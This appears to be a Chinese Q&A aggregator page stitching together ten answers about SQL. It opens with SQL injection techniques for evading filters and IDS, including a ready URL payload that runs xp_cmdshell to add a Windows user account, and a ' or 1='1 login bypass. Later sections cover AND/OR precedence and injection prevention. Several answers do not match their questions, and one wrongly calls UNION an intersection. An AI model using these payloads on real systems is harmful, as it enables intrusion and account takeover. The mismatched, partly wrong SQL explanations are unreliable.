㈠ 用什么方法绕过sql注入的限制
1、运用编码技术绕过
如URLEncode编码，ASCII编码绕过。例如or 1=1即%6f%72%20%31%3d%31，而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
2、通过空格绕过
如两个空格代替一个空格，用Tab代替空格等，或者删除所有空格，如or’ swords’ =‘swords’ ，由于mssql的松散性，我们可以把or ‘swords’ 之间的空格去掉，并不影响运行。
3、运用字符串判断代替
用经典的or 1=1判断绕过,如or ‘swords’ =’swords’，这个方法就是网上在讨论的。
4、通过类型转换修饰符N绕过
可以说这是一个不错的想法，他除了能在某种程度上绕过限制，而且还有别的作用，大家自己好好想想吧。关于利用，如or ‘swords’ = N’ swords’ ，大写的N告诉mssql server 字符串作为nvarchar类型，它起到类型转换的作用，并不影响注射语句本身，但是可以避过基于知识的模式匹配IDS。
5、通过+号拆解字符串绕过
效果值得考证，但毕竟是一种方法。如 or ‘swords’ =‘sw’ +’ ords’ ；EXEC(‘IN’ +’ SERT INTO ‘+’ …..’ )
6、通过LIKE绕过
以前怎么就没想到呢？如or ‘swords’ LIKE ‘sw’！！！显然可以很轻松的绕过“=”“>”的限制……
7、通过IN绕过
与上面的LIKE的思路差不多,如or ‘swords’ IN (‘swords’)
8、通过BETWEEN绕过
如or ‘swords’ BETWEEN ‘rw’ AND ‘tw’
9、通过>或者<绕过
or ‘swords’ > ‘sw’
or ‘swords’ < ‘tw’
or 1<3
……
10、运用注释语句绕过
用/**/代替空格，如：UNION /**/ Select /**/user，pwd，from tbluser
用/**/分割敏感词，如：U/**/ NION /**/ SE/**/ LECT /**/user，pwd from tbluser
11、用HEX绕过，一般的IDS都无法检测出来
=hex(sysadmin)
=hex(db_owner)
另外，关于通用点的过滤方法，我们可以考虑采用赋值的方法，例如先声明一个变量a，然后把我们的指令赋值给a，然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下：
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a
效果 how.asp?id=1;declare%20@a% 20sysname%20select%20@a=7300730020002f
00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;–
其中的 7300730020002f00610064006400 就是“net user angel pass /add”的意思。
㈡ 这个怎么构造后台SQL语句绕过登录呢
select name,pass from tbAdmin where name='admin' and pass='123456'
输入用户名：' or 1='1
SQL变成下面这个样子：
select name,pass from tbAdmin where name='' or 1='1' and pass='123456'
1='1' 永远为真，所以就验证通过了。。。
㈢ sql 中 and 和or的用法
"="是比较操作符，判断两边参数是否相等，或者在更新语句中进行赋值
“：=”主要是用于传递外部参数为语句中变量赋值
㈣ sql语句"and" 、"or"用法
AND的语义是：二者必须满足才为RTUE；
OR的语义是：二者只要有一个满足就为TRUE，言外之意，二者同时满足也为TRUE。
where
A=1
and
b
<>
2
and
b<>
3
㈤ 【模拟环境】SQL注入时如何绕过逗号和百分号
UNION 跟 UNION ALL 是交集跟并集的写法
select * from a union select * from b --这种是A表与B表结果的交集写法,合并表，没有重复行；
select * from a union all select * from b --这种是A表与B表结果的并集写法 有重复行；
a表和b表结构一样,合并两个表,没有重复行,如果要重复行用union all
㈥ 关于sql中or 和and的问题。（在线等）
探讨一下：
首先，我要说微软的SQL SERVER2000的联机从书上说的“错！”。
第二，由于AND和OR的优先级不同，那么此Where条件就变成了相当于如下的表示：
USE pubs
GO
SELECT SUBSTRING(title, 1, 30) AS Title, type
FROM titles
WHERE type = 'business' OR （type = 'psychology'AND
advance > $5500）
ORDER BY title
GO
这样“（type = 'psychology'AND
advance > $5500） ”经运算后就变成了一个独立条件再与“type = 'business' ”进行 OR 运算。
第三，
AND的语义是：二者必须满足才为RTUE；
OR的语义是：二者只要有一个满足就为TRUE，言外之意，二者同时满足也为TRUE。
结论：
“如果没有括号，那么 WHERE 子句就会检索预付款超过 $5,500 的所有商业书籍或者心理学书籍。 ”
应改为：
“如果没有括号，那么 WHERE 子句就会检索预付款超过 $5,500 的心理学书籍或者所有商业书籍。 ”
㈦ sql 中and 和or的用法，请指导，谢谢
这是逻辑运算符优先次序没交代清楚所导致的。
按照提问中的代码筛选逻辑，系统会检索出"喝奶时间"为'早' 且"订奶类别"为'250ml巴士氏鲜奶'的记录，或者"订奶类别"为'500ml巴氏鲜奶'的记录。第一个是双条件筛选，第二个是单条件筛选，只要是500ml巴氏鲜奶，不管它是早或晚，只要是500毫升的就能被查出来。
为了将'晚'筛选掉，建议使用括号来区分优先级别，代码修改如下:
select * from 送奶信息 where 喝奶时间='早' and (订奶类别='250ml巴氏鲜奶' or 订奶类别='500ml巴氏鲜奶');
这样喝奶时间为'晚'的记录就会被筛选掉了。
㈧ Sql查询语句中 " and " 使用问题.
因为你用and的话，表示三个条件都要满足才会计数，就是说用户名必须是小王，密码必须是123，而且还必须是超级管理员，你打开数据库看看小王这个用户满足这三个条件吗？
㈨ sql中如何防止and 'f'='f'
凡有SQL注入漏洞的程序，都是因为程序要接受来自客户端用户输入的变量或URL传递的参数，并且这个变量或参数是组成SQL语句的一部分，
对于用户输入的内容或传递的参数，我们应该要时刻保持警惕，这是安全领域里的“外部数据不可信任”的原则，纵观Web安全领域的各种攻击方式，
大多数都是因为开发者违反了这个原则而导致的，所以自然能想到的，就是从变量的检测、过滤、验证下手，确保变量是开发者所预想的。
1、检查变量数据类型和格式
如果你的SQL语句是类似where id={$id}这种形式，数据库里所有的id都是数字，那么就应该在SQL被执行前，检查确保变量id是int类型；如果是接受邮箱，那就应该检查并严格确保变量一定是邮箱的格式，其他的类型比如日期、时间等也是一个道理。总结起来：只要是有固定格式的变量，在SQL语句执行前，应该严格按照固定格式去检查，确保变量是我们预想的格式，这样很大程度上可以避免SQL注入攻击。
比如，我们前面接受username参数例子中，我们的产品设计应该是在用户注册的一开始，就有一个用户名的规则，比如5-20个字符，只能由大小写字母、数字以及一些安全的符号组成，不包含特殊字符。此时我们应该有一个check_username的函数来进行统一的检查。不过，仍然有很多例外情况并不能应用到这一准则，比如文章发布系统，评论系统等必须要允许用户提交任意字符串的场景，这就需要采用过滤等其他方案了。
2、过滤特殊符号
对于无法确定固定格式的变量，一定要进行特殊符号过滤或转义处理。
3、绑定变量，使用预编译语句
MySQL的mysqli驱动提供了预编译语句的支持，不同的程序语言，都分别有使用预编译语句的方法
实际上，绑定变量使用预编译语句是预防SQL注入的最佳方式，使用预编译的SQL语句语义不会发生改变，在SQL语句中，变量用问号?表示，黑客即使本事再大，也无法改变SQL语句的结构
㈩ 【SQL】查询很多同一列的 不用AND 怎么精简
不是group，group是分组用的，你要分组么？我觉得正则表达式应该可以帮助你（前提是那些要匹配的字符要有规律）比如：
select * from t where s1 regexp('[0-9]');
这句就会筛选所有s1字段的字符串里所有字符都在0123456789之内的【0-9】就是一个正则表达，详细参见http://ke..com/view/1427403.htm
再看你的，类似匹配前面首字母固定s，紧接的可以是ta也可以是er，后面随意，象下面就可以了
select * from keyword where keywords regexp('^s(er|ta)');
实在没规律也可以
（'^(abd|BCCC|CCCC)'）自己往里加了哈
这个问题解决的很好吧，楼主多+分啊